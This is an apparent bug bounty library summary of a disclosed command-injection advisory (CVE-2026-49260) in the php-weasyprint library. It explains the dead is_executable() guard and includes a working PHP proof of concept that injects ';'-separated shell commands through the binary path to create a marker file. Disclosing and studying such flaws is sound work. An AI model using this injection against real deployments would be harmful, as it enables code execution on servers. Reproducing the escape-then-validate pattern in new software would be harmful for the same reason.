# php-weasyprint: shell command injection via configurable WeasyPrint binary path due to inverted is_executable() guard (mirror of KnpLabs/snappy GHSA-vpr4-p6fq-85jc)

php-weasyprint checks is_executable() on the escapeshellarg-quoted binary path, so the guard is dead code and a configurable binary string reaches Process::fromShellCommandline unescaped, yielding OS command injection.

- Payout: Research
- Severity: high
- Program: php-weasyprint
- Found by: tonghuaroot
- Disclosed: 2026-06-26
- CVE: CVE-2026-49260
- Write-up quality: 7/10
- Original: https://github.com/advisories/GHSA-f5gc-qxf8-mh9g
- Library page: https://bugbountylibrary.com/r/ghsa%3AGHSA-f5gc-qxf8-mh9g
- Tags: area:oss domain:oss impact:rce kind:research platform:ghsa sev:high tech:php technique:incomplete-fix technique:source-review vuln:command-injection vuln:rce

**Target:** PHP library building WeasyPrint shell commands via Symfony Process
**Root cause:** buildCommand() calls escapeshellarg($binary) then is_executable() on the quoted string, which includes literal single quotes and never names a real file, so the ternary always falls through to the raw unescaped $binary.
**Steps:**
1. Install pontedilana/php-weasyprint 2.5.0 via composer.
2. Construct `new Pdf('weasyprint --version > /dev/null; touch /tmp/php_weasyprint_rce_marker; #')`.
3. Call `$pdf->generate('about:blank', '/tmp/poc_out.pdf', [], true)`.
4. Observe buildCommand output starts with the raw injected string and `/tmp/php_weasyprint_rce_marker` exists after the call.
**How found:** Noticed the guard checks is_executable() on the escapeshellarg-quoted result rather than the raw path, making the safe branch unreachable; recognized the same pre-fix codepath KnpLabs/snappy patched in 1.7.1 and confirmed via reflection on buildCommand output and a marker-file PoC.
**Exploitation:** Attacker who controls the binary path (config file, env var, admin UI, per-tenant setting) plants a string with `;` separators and a trailing `#` to comment out the appended input/output args; every generate() call executes the payload as the PHP process user via /bin/sh -c.
**Insight:** When a library claims to be a one-to-one substitute for another, diff its security-sensitive helpers against the upstream's post-fix version; guards that call validation functions on already-escaped strings are silently dead and leave the raw value flowing to the sink.

## Proof of concept (copied exactly from the original report)

**PHP PoC injecting shell metacharacters via binary path**

```
$binaryString = 'weasyprint --version > /dev/null; touch /tmp/php_weasyprint_rce_marker; #';

$pdf = new Pdf($binaryString);
$pdf->setTimeout(5);

try {
    $pdf->generate('about:blank', '/tmp/poc_out.pdf', [], true);
} catch (Throwable $e) {
    // WeasyPrint binary call fails (its actual exit status is irrelevant);
    // the injected 'touch' between the ';' separators already ran.
}

if (file_exists('/tmp/php_weasyprint_rce_marker')) {
    echo "RCE MARKER PRESENT — injection landed.\n";
} else {
    echo "RCE marker absent — injection did NOT land.\n";
}
```

**Composer install and run reproduction steps**

```
mkdir poc-weasyprint && cd poc-weasyprint
cat > composer.json <<'EOF'
{
    "require": { "pontedilana/php-weasyprint": "2.5.0" }
}
EOF
composer install --no-dev --quiet

# 2. Run the PoC
php poc.php
```

